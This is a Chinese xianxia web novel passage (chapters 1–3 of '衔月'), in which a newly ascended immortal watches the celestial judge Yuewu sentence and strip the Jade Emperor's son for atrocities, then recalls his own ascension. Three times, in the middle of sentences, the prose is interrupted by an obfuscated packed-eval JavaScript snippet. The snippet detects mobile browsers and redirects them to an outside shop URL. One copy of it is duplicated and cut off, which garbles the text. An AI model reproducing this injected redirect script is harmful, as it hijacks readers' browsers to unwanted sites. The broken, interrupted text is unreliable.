《衔月》 1. 月照律 仙云渺渺,日月昭明,天庭本该祥和安宁——直到天纪钟铮铮而起,敲足九九八十一下。 仙鸾止鸣,云瑟停音,道童们嘴巴一闭像攥起来的小笼包,腿脚飞快地通知各殿司。 天庭仙官、九天星宿、昆仑西王母、三清境真君……众仙纷至沓来,须臾,天道法坛边华光蔼蔼,汇如烟海,可谓灵之来兮如云。 弘岘昨夜飞升,今早刚在仙籍簿上登记好姓名,钟声就敲起来。给他登记的那位仙官“啊嗬”一声,合上簿册一溜烟飞走,眨眼间不见踪影。 弘岘摸不着头脑——难道又有谁飞升了?怎么别人飞升都这般热闹?他飞升时,可没听见什么钟声。 弘岘打算随大流去看看,正巧旁边路过个飞奔的仙童,他一把拽住对方,问道:“这钟声是什么意思,你们都在跑什么?” 仙童大惊失色:“这里怎么还有个愣头青!”反手抓住弘岘的腰带,一路拖拽,把他推进法坛旁的人群里,狠狠叮嘱一句“别说话!”随即变成纸鹤扑棱棱飞走。 弘岘一句“多谢”噎在喉咙里,看着那纸鹤几下扇动便混入云端不见,只好理了理被拽歪的腰带,嘀咕道:“这童子,如何变成纸鹤……真是大开眼界……” 身边传来隐忍笑意,他循声看去,那位仙君眉眼亲切和善,将他略略打量:“那童子是纸做的式神。听闻昨日南赡部洲有凡人积善飞升,想来就是小友你了?” 南赡部洲。 弘岘想不起来飞升的细节,仿佛那段路被浓雾笼罩,但南赡部洲的名字,却像一把烧红的烙铁,烫得他胃里一阵翻搅。 他将那股翻涌强咽下去,朝仙君一拱手:“是我。小子弘岘,请问仙人名号?” “叫我天姚即可,”天姚羽扇遥指法坛另一边,“童子把你送错了地方,这里大多是斗部星官。散仙们没有官服,多数聚集在那边。” “原来是天姚星君……”弘岘顺着他的指引看去,这才发现群仙服饰确有差异,低头看了看自己一身素简,顿时尴尬不已,他后退半步,欲转身逃跑,“失礼了,我这就告退。” 天姚星君抓住他手腕:“哎,不用紧张,相遇便是缘分,不妨事。” 天姚用羽扇轻点他肩头:“弘岘,你看法坛上那两个人,你认不认得?” 弘岘顺他望向法坛中央—— 七尺昂藏之躯,皎皎月华之貌,法袍纹星织雷、行动间天音冥冥,羽带飘逸,玉冠冷面,好一位清绝仙人—— 他一时看痴了,缓慢摇头道:“我从没见过这么好看的人。” “他是天刑司掌教、九天应元持宪执律度厄真君,人称月芜天仙。” 弘岘点点头,目光仍不舍移开,小声喃喃:“确是天仙一般……” “他本就是天仙,”天姚顿了顿,羽扇轻抵唇边,抿住一丝笑意,“这是仙阶级别,不单是赞美。” 弘岘这才回过神,脸一红,“哦哦”两声,为自己的失态尴尬不已。 天姚又问:“另一个呢,你认得出么?” 弘岘这才注意到月芜身旁还跪着一人——凛冽剑锋自那人胸口穿透,将他死死钉在法坛中央。 金色的血顺着剑脊淌下,在玉砖上蜿蜒成片,散乱的发髻半遮住他的脸。 弘岘仔细分辨,最终摇头道:“没有印象。” 天姚的声音收敛情绪,平淡无波道:“今日过后,你便会记得他了。” 弘岘一怔:“为何?” “月芜是天刑司掌教,执掌仙规戒律、黜陟刑罚。但只有处置罪大恶极者,才会敲响天纪钟,命群仙听审观刑以儆效尤。”天姚眉心微皱——銮驾天音由远及近,他快速而小声地说完最后一句—— “此人罪行与南赡部洲有关。” 弘岘睁大眼睛再三辨认,确定自己没见过这人,他和南赡部洲会有什么关系? 巍巍钟韵停歇,煌煌帝座驾临,天帝神躯磊拓嵯峨不可观其全貌。 弘岘来不及收回视线,一时间烈日灼目,神魂都要被烧成灰烬! 千钧一发之际,天姚一把按下他的脑袋,仙力清流涤荡四肢百骸,弘岘这才清明几许,回过神来心有余悸。 群仙毕至,天帝收敛光辉遥居主位,祂的冠冕是日月星辰,祂的衣袍是妙法万千。 这回弘岘能看见天帝的面容,但那样貌瞬息穿过思潮,无法记忆,待转瞬再看时,又是另一副陌生的模样。 宇宙无穷极,大道弥万相,想来便是这样。 仅次天帝座位者为四御帝君。 其中一人冠三维之冠,服九色云霞之服,他长叹一声:“昭仪,你可知错?” 跪伏着的罪仙微微一颤,额头抵在地上:“我……我知错。求东华帝君宽恕。” 他艰难撑起手臂,将穿透胸膛的剑锋从玉砖中拔出,膝行几步朝主位叩首,咬牙道:“我知道错了!恳请天帝宽恕!四方帝君宽恕!” 月芜连眉梢都未动一下,只握住剑柄,手腕往下一沉—— 昭仪一声惨叫扑倒下去,剑锋楔进他胸膛更深处,直入地面。他口鼻溢血,动弹不得,金色的血铺染一地。 群仙寂寂,无人对此表示意外,唯有弘岘暗暗倒吸一口凉气,只觉这位天仙当真面冷心冷。 月芜再度钉透了昭仪后,才不紧不慢地开口:“天帝、帝君容秉,太极妙有府天官部赐福司太仙昭仪,酒后失德,以真身下界南赡部洲,调戏女子意图不轨,遭凡人赵琰阻拦后记恨于心,倚仗官职身份,借走北斗司的寿限生死簿,将赵琰一笔改死——” 昭仪挣扎抗辩:“我不知他是……”剑身发出一声低鸣,又沉了一寸,让他说不出话来。 赵琰! 弘岘耳边瞬间响起金戈铁马与哀嚎遍野,指尖不受控制地发抖,这个暴君的名字他永远无法忘记! “然而,昭仪未曾料到,赵琰乃赵国太子,紫微星照耀,命承帝运。为隐瞒过错、窃取星辰之力,昭仪拦截赵琰魂魄将其吞服熔炼,再度下界冒名顶替。” 弘岘瞪大眼睛,如遭雷击。 ——赵琰竟然早就死了! 赵琰,这个南赡部洲人人憎恶、唾弃的名字,竟是真相中第一个受害者的姓名! 致使南赡部洲变成血肉炼狱的不是赵琰,是法坛上跪着的太仙昭仪! 天地肃静,月芜继续道:“昭仪登临皇位后,暗中吸纳星辰之力,并以战火杀伐之气反复洗炼。自此,南赡部洲兵戈四起,因他而死者数千万计。” 月芜说到这里,微不可察地一顿。他垂下眼帘,目光落在剑上仍在流淌的金色血液上,沉默了片刻。 那柄剑仿佛也承载了千万人的重量。 “竟是这样……”弘岘无声地喃喃,一阵头晕目眩,脚下竟有些站不稳,“原来,仅仅是因为这样……” 战场的焦土味、流民的哭声、腹中饥饿如刀割的濒死感……过往种种扑面而来,弘岘稳住身形死死盯住昭仪,恨不能自己的眼神变成法坛上钉住昭仪的那柄剑,好将他挫骨扬灰! 只一瞬,月芜便又抬起眼,目光如电,继续陈述: “为了再次隐瞒自己犯下的弥天之罪,昭仪在南赡部洲各地铺设福生棺、聚魂幡,冤魂徘徊、地脉崩碎。轮回台纠察灵官发觉魂魄数目不对,承文上报,却遭其下属拦截,通报昭仪后由他在下界释放等数魂魄填补缺额,如此数年瞒天过海。” “人间杀伐不休,农田荒废、瘟疫横行、人相食。水府司地值官清荷玄仙,披露昭仪恶行,孤身劝谏不成,以命相阻,被昭仪残忍杀害,道散魂消。” 弘岘灵台一激。清荷,他似乎听过这个名字……恍惚间,耳畔响起一道恬淡含笑的声音,如水般轻柔。 还未来得及听清,那声音便消散了。灌入耳中的,只有法坛上月芜凛冽如霜的审判。 月芜向前一步不卑不亢,如明月高悬:“臣受天封诰,领驭仙规戒律、黜陟刑罚,今述明昭仪太仙罪行——” “调戏女子,擅改生死。熔炼魂魄,冒名顶替。扰乱星序,窃取星力。残杀仙僚,祸延南赡,致死者千万。” “判处罪仙昭仪受五雷之刑、剥夺仙籍,由勾陈大帝及天官真仙度量善恶因果,将昭仪投入轮回清偿其罪。请帝君准判!” 此言一出,众仙低语,有人仍觉不解恨,恨不能将昭仪千刀万剐、日日凌迟。而听到这里,弘岘面色苍白,已然痴怔了。 天姚握住他的肩:“弘岘小友,你还好么?” 弘岘浑身一颤。千万。这个数字落进耳中,比刚才听到的任何一句话都更让他窒息。 两行清泪滑落下来,他掩面擦拭,却怎么也擦不完。 天姚拍拍他似想安慰,最终凝成一叹。 “肃静——”东华帝君沉吟片刻,“勾陈,若将昭仪投入轮回,要几世才能消解他的罪行?” 勾陈帝君瞥他一眼,冷酷道:“粗略算来,也要万世了。” 群仙中低低传来一片叫好之声。 被钉在地上的昭仪像条濒死的鱼徒劳挣动起来,嘶声道:“杀了我……你不如杀了我!月芜!你是在公报私仇!你、你这个杂种!孽障!” 月芜的面容平静无波,仿佛这些咒骂不过是他耳畔轻风。 群仙只当是罪仙临死前的胡乱攀咬,并未在意——唯有东华帝君闻言微微侧目,视线自月芜身上扫过。 “肃静、肃静——”东华帝君以袖掩面,再度长叹,“月芜啊,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597631|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如让雷部直接把他劈死算了,好歹痛快些灰飞烟灭。他身负的罪恶,恐怕要他这万世都当牛做马、做猪做狗……” 东华帝君的目光在月芜身上停留,月芜的羽带微微拂动,人却如玉像一般凝立。 此刻的一言不发,就是他的立场。 弘岘的心提到了嗓子眼。 东华帝君默然片刻,终是说:“准判。” 这下谁都知道没法子了,昭仪挣动四肢朝天帝哭喊:“君父!我错了!父亲!求父亲救我!我真的知道错了!直接劈死我吧!月芜、月芜!你杀了我!” 到最后,他竟喊出一句:“士可杀不可辱!你们直接杀了我!” 弘岘猛地攥紧拳头,只觉荒谬至极。他问天姚,声音发紧:“他是天帝的儿子?” 天姚也觉得面上无光,扯了扯嘴角:“是。天帝的小儿子。” 天帝之子,多么无上高贵,他不能接受自己被一介凡人纠正言行,不能接受自己在下界丢了脸,于是酒杯潦倒间,千万人就死去了。 弘岘牙关紧咬,他想问问昭仪——那个被他调戏的女子呢?那个被他熔炼了魂魄,连转世都不能的赵琰呢?还有那些……在油锅里挣扎,在铁蹄下哀嚎,在荒原上易子而食的千万亡魂呢?还有那位仙子…… 他们的“侮辱”,谁来偿还? 原来南赡部洲遭遇的一切苦厄,一切生离死别,不过这位天帝之子一时兴起,醉酒下凡所致。 昭仪满脸涕泪匍匐在地不断央求,和那些曾经匍匐在他脚下,央求着想要活下去的凡人,没有区别。 月芜居高临下看着他:“南赡部洲有人积善登仙,昭仪,你可知他是如何飞升的?” 弘岘的愤慨霎时顿住,变成尴尬和紧张,小声问天姚:“南赡部洲还有其他人飞升么?” 天姚饶有兴趣地看着他:“据我所知,积善飞升者就你一个。” 昭仪哭累了,喃喃道:“我不知。” “他本为君侯子弟,战乱时也提刀上过战场。他不敢杀人,被同袍护在身后,那一战尸殍遍野,他被埋进死人堆里险些窒息而亡。” “他侥幸活了下来,为死去的军民刨坑立冢、诵经度魂,后散尽家财,换取人肉市场上的妇孺生命,一路施粥救人分发草药,带领数十万流民逃往极北荒芜之地,开垦种植、休养生息。可惜——” 弘岘眼神呆滞,嘴唇微微发颤。 月芜的声音放轻了:“战乱还是来了。” “他掩护百姓逃走,自己和家将被困在冰原中,为了多撑一些时日等到救援,他以骨为柴、煮血割肉,”月芜轻轻顿住,眉目低垂,声音慈静悯然,“直到死去,他临终前的遗言,是让家将别浪费他剩下的尸体……” “而你,”月芜掀睫,眼睛里多了一丝厌恶,“你掀起战争不是为了统治,是为了吸纳星辰之力的私欲;你追杀流民不是为了治理,是为了享受独裁专政的权力——你不允许有人在你眼皮下逃走,你以戏耍凡人的生死为乐趣!” 天姚收起笑意,静静凝视着身边的小仙:“道友,月芜天仙所说的,是你么?” “是我,”弘岘喃喃道,“可我只是做了凡人会做的事情。” 天姚沉默一息,然后弯起眼睛,用羽扇轻轻敲了敲他的头:“积善飞升,是众生感念其善、积累供奉善念助其飞升。道友,你这样说话,天上很多仙君都要脸红了。” 弘岘怔住,还没来得及反应,法坛上月芜的声音已再度响起—— “昭仪,灰飞烟灭太轻易。不重生死者,当以万世生死以悟其珍!天道昭彰,非我挟私。” 月芜乍然抬眼直视天帝,天音浩荡—— “请,天帝准判!” 群仙肃然。 四方帝君座席外,西王母倚坐在豹车之中。 美妇闲懒,虎牙尖尖,赤脚搭在榻边轻轻晃动,豹尾也懒散地一甩一甩。乌发茂密微卷,如瀑布从肩头倾泻至腿边,只用一根黑色发绳轻轻束了尾端,发间斜插一支玉鸳杼。 “这下看到了,总该满足了吧?”王母娘娘的声音同样年轻。 她的“发绳”游动身形往前探了探:“不愧是月华般的人物,清俊飘逸、姿仪无双,可惜远了点,旁边人又太吵,不能静静欣赏。” 西王母调侃道:“你这样爱美,将来要和谁结成道侣才好?” “不知,”“发绳”懒懒的,重新缩回她发间,“您不是要请星君帮我测算姻缘?算出来是谁就谁好了。但我有句话要说在前头——” “什么话?” “不是仙界第一的,”“发绳”傲慢地挺了挺胸膛,带着与生俱来的笃定,“配不上我。” 西王母白了他一眼。 2. 霜骸现 天地寂静。法坛上,月芜请判的铮然之音犹在回荡,这一场浩劫终究走到了尽头。 终于,天帝开口了—— “昭仪。” 一瞬间弘岘脊背发麻——那是怎样的声音! 苍老的、孩童的、男子的、女子的……温柔的、冷酷的、嬉笑的、怒骂的……万语千言,同口异声,轰然落在每个人灵台之上!如雪落低语,如江涛拍岸,如亘古钟声冥冥回荡—— “天地像道,仁于诸善,不仁于诸恶。善恶之报,如影随形。既种恶因,当尝恶果。愿汝忏悔自改,诸恶莫作,众善奉行。” “允判。” 二字如玉雷乍响。弘岘浑身一震,这才发现自己不知何时已屏住了呼吸。 法坛上昭仪不再哭喊,烂泥般匍匐不动。 天帝话音落下,勾陈帝君袖袍一挥,锦帛玉卷从袖中飞出,直射昭仪眉心。磅礴神力撞开他封锁的灵台,昭仪被迫昂首,双目翻白,身体不受控制地激颤。 玉卷没入眉心,一桩桩因果自他灵台中被强行拖拽而出,化作密密麻麻的金玉文字填满卷面。而后,玉卷自他后脑飞出,飞向众仙一圈圈传阅浏览。 弘岘看呆了:“这是什么?” 天姚摇扇子的手微微一顿,旋即笑道:“勾陈帝君统御万灵,掌三界十方众生籍册,这是他的法器之一,名为因果玉卷。” 弘岘目光尚未收回,法坛对面已有一人步行而出——乌纱红袍,仪容端方,眉心一粒朱砂痣,是个状元郎般的人物。 天姚以扇柄轻触弘岘的手背:“天官到了。赐福赦罪、善恶考绩,都由他执掌。” 天官摘下腰间的金算盘托在手心,言出法随,轻喝一声“去”,那算盘滴溜溜翻转间变大数倍,追着因果玉卷噼里啪啦从卷头计算到卷尾,一笔笔增减,计算善恶。团团墨字在算珠跳动间飞出,落在因果玉卷上,为玉卷增设善恶附录。 待因果玉卷彻底从昭仪的灵台脱出,他已去了半条命了。 刻录完成的卷轴自行收卷,静静停留在昭仪头顶。 那拨得火星子直冒的金算盘终于得以歇息,飞奔到天官身前,算珠噼里啪啦乱响,似在愤怒控诉。天官伸手摸摸它的框,那算盘便乖乖变小回到天官腰间,天官带着它退回仙列之中。 弘岘看得眼花缭乱、赞叹不已,嘴巴合不拢,眼睛也转不开——他连庙会戏法都少见,何况神仙法术! 豹车中,那条“发绳”却百无聊赖地盘起身形:“又是这些把戏——没有天仙一半好看。” 西王母打趣:“你这话说得轻佻,不怕找打?” “哪里轻佻?”“发绳”不解道,“我看霞天万丈,看渊海波澜,看他芝兰玉树,为何不能夸?不止夸他,我还觉得他那柄剑不错,不知和我的相比,哪个更好。” 西王母掩唇笑道:“有能耐,下次当着他的面夸,别只在我这逞能。” “发绳”轻哼一声,他有什么不敢。 因果善恶计算完毕,月芜退至法坛边缘,清冷的声音响起:“请雷部行刑。” 就在弘岘身旁不远处,便是雷部众仙。他们的着装与斗部名士风流的宽袍大袖截然不同——内穿锁子甲,外罩文武袍。男仙虎背熊腰,女仙英姿飒爽。 仙列中整齐飞掠出十二人,挟风雷之力瞬间落在法坛边。 六丁六甲交错而立,拔剑成阵。万里晴空中顿时云团集结,方才凝滞的气息被搅动起来,风重新吹飒而起。 五位雷公踏罡步斗而出,盘踞半空,各执双斧、双锤、双钺、双钩、双叉,五雷兵器扬空搅动,云海翻涌,云层交界处嗡鸣如万蜂出巢。 敕令一结,云潮激撞——“轰隆!” 手腕粗细的雷光虬结绞错,穿过因果玉卷,浸润善恶之力,霎时间粗如环抱之树,朝着昭仪当头劈落。 一片刺目雷电中,昭仪从求饶、哭喊,到咒骂、尖叫,直至悄然无声。 弘岘头皮发麻:“他、他不会直接被劈死吗?” “哪有那么容易,”天姚羽扇遥指法坛边的月芜,“你看那位天仙,兰姿玉貌的人物,如何能得到‘活阎王’这个名讳?” 弘岘也觉得矛盾:“为什么?” “因为刺穿昭仪的那柄剑,”天姚羽扇轻移,指向雷电中央那道刚直的剑影,“那是月芜的本命法器,剑名‘霜骸’,可以钉魂锁骨、刳仙为凡。” “所谓钉魂锁骨便是,它可以钉住人的神魂骨肉,别说经受五雷刑罚,昭仪就是想自戕都做不到,”天姚忍不住打了个冷战,摇摇扇子叹息一声,“求生不得、求死不能,不外如是。” 五雷刑罚持续不息,一道接一道,弘岘的双腿站得发僵,他不知站了多久,只觉那雷声仿佛永远不会停歇——直到雷将终于拱手退去。 烟尘褪尽、云散风消,天道法坛的玉砖仍旧洁净,但上面原本汇聚的血潭已经被灼干了。 昭仪皮肉绽裂、焦露白骨,伤处不见一丝血液。 他奄奄濒死,只剩被霜骸剑钉住的那一口气在。 天姚用羽扇挡住眼睛不忍直视,弘岘咽下呕吐的欲望,强迫自己观刑。 天姚见他面无血色,劝道:“不想看便不看,不要勉强。” 弘岘喉头滚了滚,耳畔又响起哀嚎,鼻尖又萦绕起那股刺鼻的气味…… 他定了定神:“星君您知道吗,我在凡间战场上,双方粮草殆尽。对面‘赵琰’在后方支起几口油锅,如果我们的人被杀了或是被俘虏,就会被投进油锅里,成为敌人的口粮。那一仗我们败了,油锅盛不下,赵琰才下令就地坑杀。” “仙人和凡人还是不一样,”弘岘惨然一笑,“仙人餐风饮露,闻不见那股、肉香味……” 不止天姚,身边几位星君都侧目望来,视线或震惊、或安慰、或伤怀。 天姚沉默着,放下手中的羽扇。 法坛中月芜一步步走向昭仪,伸手握住剑柄。 天姚叹道:“好,那便一起看,月芜天仙如何,刳仙为凡。” 剑刃从法坛玉砖中拔出,月芜抬手虚托,霜骸带着昭仪的身体浮至半空。扑簌簌尘屑抖落,残存的衣料和模糊的血肉粘在一起,分不开了。 “呵、呵呵……哈哈……咳、咳!”昭仪吐出一口脏腑碎屑,被钉住的那口气支撑着,笑出声来,“五雷之刑……月芜……好、好!……你们有什么手段就用吧!若我生还,必将此仇一一回敬!” “冥顽不灵!”月芜怒目而视,衣袍猎猎,发丝飞扬,他持诀而立,指节泛白——下一秒,金色从瞳孔深处漫开,仙力如焰舌向后翻卷,一道千仞法相拔地而起——持宪执律度厄真君,现世。 “不……不、滚开!放开我!”昭仪惶然挣动,拼尽力气无法挣脱。 月芜剑诀一指,天音浩荡,敕令宣判: “奉天承律,执宪度厄。尔罪昭彰,仙籍当削。今以霜骸为判—— “革尔仙骨,夺尔道果;散尔灵力,绝尔长生。天人五衰,尽归凡尘。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597632|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 霜骸剑光大盛,月白剑刃嗡鸣震颤,剑身中妙法真言层叠流转,直至判音罚落—— 金光妙法自剑身飞出,从昭仪的百会、涌泉等周身大穴同时灌入,由顶至足,无一处遗漏。昭仪顿时发出惨绝人寰的嚎叫。 金色的光线游走,在昭仪身体内织就一幅脉络图景,也如刮骨钢刀般剔去他经脉中的功德道法。 这般场景,别说弘岘,在场很多资历不丰的仙人都没见过。 弘岘离得远,看不清细节,但某种细碎的、类似冰面开裂的脆响,却清晰地从法坛中央传了过来。 先是经脉、骨骼,再是感官、皮肉。 弘岘牙关打颤,他甚至不敢抬手,去擦额上的冷汗:“这刑罚为何……如此可怖……” 天姚静静凝望着,不自觉攥紧羽扇,指节发白。他看向场中的昭仪,又像是透过他在看另一个人。 沉默良久,天姚才开口,他轻声道:“仙人投入轮回,其功德、血脉、灵力、记忆,都封存在魂魄中。刳仙为凡,先剥尽功德血脉,再将灵力片片剜割,直到灵台枯竭,记忆崩逝——过往成为云烟,仙魂彻底归为凡魂,此后他只承果报,再无来时路。” 功德血脉归于天地自然,灵力无处承托,便如竹篮中的水,顺着筛孔流失消散。 随着灵力枯竭,皱纹一道道爬上昭仪的皮肤,霜白一寸寸染透他的发丝。裸露的白骨渐呈灰败,喘息声也浊重苍老起来。他高大的身形如同凋谢的花,一点一点,佝偻蜷曲。 仙骨已去,道果已失,灵力已散,天人五衰。 月芜拔出霜骸,剑尖一点,昭仪灵台碎裂,瞳孔极速黯淡。 昭仪最后一缕气息也消散,尸身坠落—— 法坛那头,地官已等候多时。他踱步而出,与天官同样乌纱红袍,却做探花打扮。 他摘下鬓边的紫霞万缕,深紫色的贯珠菊花迎风而涨,接住坠落的尸体,花心处幽冥洞开,一口将昭仪魂魄吞去,送入轮回。 而那失去魂魄、没有灵力的肉身,穿过花蕊下坠,被风吹散成齑粉,化作了玉砖上的浮尘,倏忽间又随风而逝了。 死了。弘岘心想,终于死了…… 可他的心忽然震颤起来——天帝之子,就这样死了? 死得像昭仪曾经随手碾死的每一个凡人一样,卑微,狼狈。 他望向月芜。那一身姿仪仍旧昳丽如月华,可他再也看不见那份美丽,只看见一片逼人的刺骨霜寒。 月芜收剑入脊,霜骸化作一片轻光,无声消散。 他俯视法坛下噤若寒蝉的众仙,声如寒泉: “仙身易得,道心难修。凡人之命,与仙同重。诸位——戒之,慎之。莫让自己,有朝一日跪在此处。” 群仙俯首,无敢应声。 西王母豹车中,那条藏在发间的“发绳”悄然游出一截,细长的影子微微昂起,一双暗金色的竖瞳静静凝视着那道月华般的身影,连呼吸都轻了几分。 西王母叹道:“天刑司掌教,非凛若冰霜之人,不可居之。” 她又笑问:“如何,见过刳仙为凡,你还想与月芜比剑吗?” “发绳”却不答,只唤道:“阿母。” “嗯?” “请星君测姻缘的事,”那声音顿了顿,“您觉得今天怎样?” 西王母讶然望去,天道法坛中,月芜已化作一片轻光离去。 她低头对上那双竖瞳,第一次从这孽障眼中看出几分不自在的羞赧。 3. 池中影 月芜的声音如钟如磬,审判的寒意渗透进在场每一个仙人的灵台。轻描淡写,却重有千钧。 他化作一片轻光离去了,可是,明月何皎皎。 弘岘仰视着他心中的那抹月华,一股奇异的清明自灵台深处漫开,像是尘封已久的门被悄然推开——他记起,自己是如何飞升的了。 自他割肉身死,魂魄无法轮回,他以为自己成了恶鬼,便想去杀了赵琰,为民除害。可他生来胆小谨慎,还未近赵琰的身,就发现那人并非凡人——是私下凡尘的仙。 弘岘无法杀死赵琰,愤懑难解,天天坐在城郊的河滩边骂老天爷。直到把水里骂出一只“水鬼”来。弘岘大骇,以为自己要被索命,那“水鬼”登岸,却是位清丽佳人,自称水府司地值官清荷,是个仙人。 弘岘信了。在这战乱荒芜的年代,突然出现个面色红润、衣衫整洁、眉眼含笑的丰盈女子,只能是仙人。 弘岘将希望托付:“既是仙子,恳请仙子杀了赵琰!” 清荷笑道:“不用你说,我也是要去的。不然等天庭派人下来,凡间又要多不少枉死的冤魂。” 她问:“弘岘,你愿不愿帮我一个忙,这个忙可能会让你魂飞魄散,无法进入轮回。” 弘岘答应了。他做人做鬼都做够了,若是死透了反倒帮上忙,划算得很。 清荷托着一瓣荷花,却流泪,细细问过他的生平,一一记录在花瓣上。弘岘不懂那泪水的含义。那片花瓣被送入他眉心轮。凡人魂魄承载不住仙人法器的分量,从此他失去神智,在人世间混沌徘徊。 浑浑噩噩的一个夜晚,他飘坐在柳树梢上,明月高悬,那皎洁的月光驱散夜晚的阴霾,轻柔月华如纱如雾降临尘世,凝成仙姿绰约的人影。 那人一抬手,他眉心轮藏匿的花瓣翩然飘落,出现在那人手中。 而后剑光起,霜风渡,月色如水银倾泻,一滴滴渗入南赡部洲的土地…… 杀戮被抚平,亡魂得以安息,那飘荡不休、令人作呕的恶臭和血腥味被涤荡一空。草木枝叶的绿色愈发清晰,干涸枯竭的泉眼再度勃发甘醴,龟裂枯黄的麦黍禾苗重新挺直背脊…… 那人看了他一眼。弘岘无法忘记那是什么感觉。 他混沌间看向月亮时,觉得月亮是天理窥探人世的瞳孔。如今那月亮看了他一眼,刹那间,念头通达,道法自明,灵魂得以充盈—— 他突然可以听见万灵的声音,听见祂们在向他道谢……万灵同声,善念如潮,一波一波涌向他的心湖,一点点满溢,直到填满灵台—— 于是他积善飞升。 “弘岘?弘岘道友?”天姚的声音由远及近,弘岘从那玄妙的境界中醒来,脸上凉凉的,他一摸,竟是满脸泪水。 弘岘怅然,如今他懂了,仙人的眼泪究竟为何而流,可那位仙子,已经不在了。 就在他冥思回望之际,天道法坛边的众仙早已散去,只有天姚和另外两位星君徘徊在他身边。 天姚见他回神,拱手朝他贺喜:“恭喜弘岘道友体悟玄机,境界提升!从高仙升做玄仙了!可喜可贺、可喜可贺!” 悲伤还哽在喉咙里,贺喜却已到了跟前。弘岘来不及收拾心情,茫然一声:“啊?” 天姚右侧一位星君大笑:“不如请道友去我们星宫吃酒,也好将仙界规章向他细细讲明。” “弘岘,红线!”左侧另一位星君突然合掌,一条红线自他袖中钻出点了点头,“道友这个名字,恰合姻缘喜事!” 他一把抓住弘岘的手,欢快道:“难怪你不偏不倚正巧站在我们身边,一切因缘际会,都是天意真理!这是天意要我们选你做星宫仙使,来牵红线啊!” 弘岘被他晃得头疼,急忙抽手叫停:“等等、等等,不知二位星君怎么称呼?” 天姚一左一右两位星君同时攀住天姚的肩膀,他们相貌一模一样,穿着也一模一样。三人都是褒衣博带,外罩一件珍珠网襦,天姚珠襦交错间的玉佩雕的是桃花,旁边两位玉佩雕的是鸳鸯。 左边那个嬉笑:“我是红鸾。” 右边那个爽朗:“我是天喜。” 弘岘哭笑不得:“所以你们是掌管姻缘、喜事的星君。” 弘岘好奇地看向天姚,天姚笑意盎然:“我自然是掌管桃花和人缘际会的了。不错不错,做了你们的接引人,又是一份功德。” 弘岘被他们揽住肩推着走,他无奈笑说:“我的名字只是恰巧,和牵姻缘的红线没什么关系。” “恰巧、恰巧,世上的恰巧都是天意,”红鸾星君十分活泼,“我们是星宿神啊!与那些‘人定胜天’的道法不同,信的就是命!不然为何我的红线会长眼睛,只绑这两个、不绑那两个呢?” 弘岘做人时逃往北原,得以偷生;做鬼时不认为自己能杀死赵琰,于是苟存;迷迷糊糊做仙了,他觉得红鸾说得对,干什么都不如顺应自己的命运,别做能力以外的事情。这大约是他找到的,活下去的道理。 于是弘岘放松心情,主动问:“好吧。仙人们都喝什么酒?” 他这样表示同意,星君们步转星移,眨眼便到紫微玄都府的天门前。 红鸾拉着他步入天门,美滋滋道:“我们这样的姻缘喜神,自然要喝红叶题诗。” 天喜接道:“云中锦书。” 天姚笑吟吟补上:“金风玉露——” 几句话间,弘岘已站在浩瀚星海中。他不由发出“哇哇”惊叹声。 脚下莹莹发光的砖石在星海中铺出一条孤绝的道路。两侧波纹轻皱,似水非水,映照着宇宙星辰,不知是星沉于海,还是海悬于天。 鲲鹏游弋其间,庞然跃起,湿滑的脊背破开水面,迎风化翼——舒展的翅膀伸向苍穹,清啸一声,在那硕大身影归沉入海时,重又化为巨鱼。 宇宙星辰,天池鲲鹏,曾经神话中阅读的事物竟然出现在眼前。 奇妙、梦幻。 弘岘对前路充满期待:“这条路通向哪里?” 天姚笑道:“你命属哪座星宫,便会通向哪里。往前走就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597633|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,总归不会错。” 行至尽头,果然是他们三人的星宫,天喜拍手大笑:“妙哉妙哉!” “比翼、连理、同心、合欢!”红鸾尚未进门便一连串传唤童子,“快将好酒搬来!” 宫殿里没一个应他的,红鸾推开宫门:“人呢,都跑去哪玩——” 一个“啦”字卡在喉咙里,童子们齐整整缩在墙根下,活像一溜矮萝卜。 庭院石桌旁,闲懒美妇一手支颐,一手倒提酒壶往嘴里灌。乌黑秀发瀑布般垂落,一支玉鸳杼松垮挽在发间。金猫虎彪仰躺在她脚边,正翻弄肚皮,她涂着丹蔻的足趾在厚软的毛皮上轻轻挠着,脚腕玉铃随她动作细碎轻响,叮当可爱。 她抖抖手腕,酒壶里一滴不剩:“呀,喝完了。” 红鸾、天喜、天姚站成一排,齐声行礼:“见过金母元君。” 弘岘反应不及,只跟着行礼,没来得及打招呼,他自觉往星君身后缩了缩。 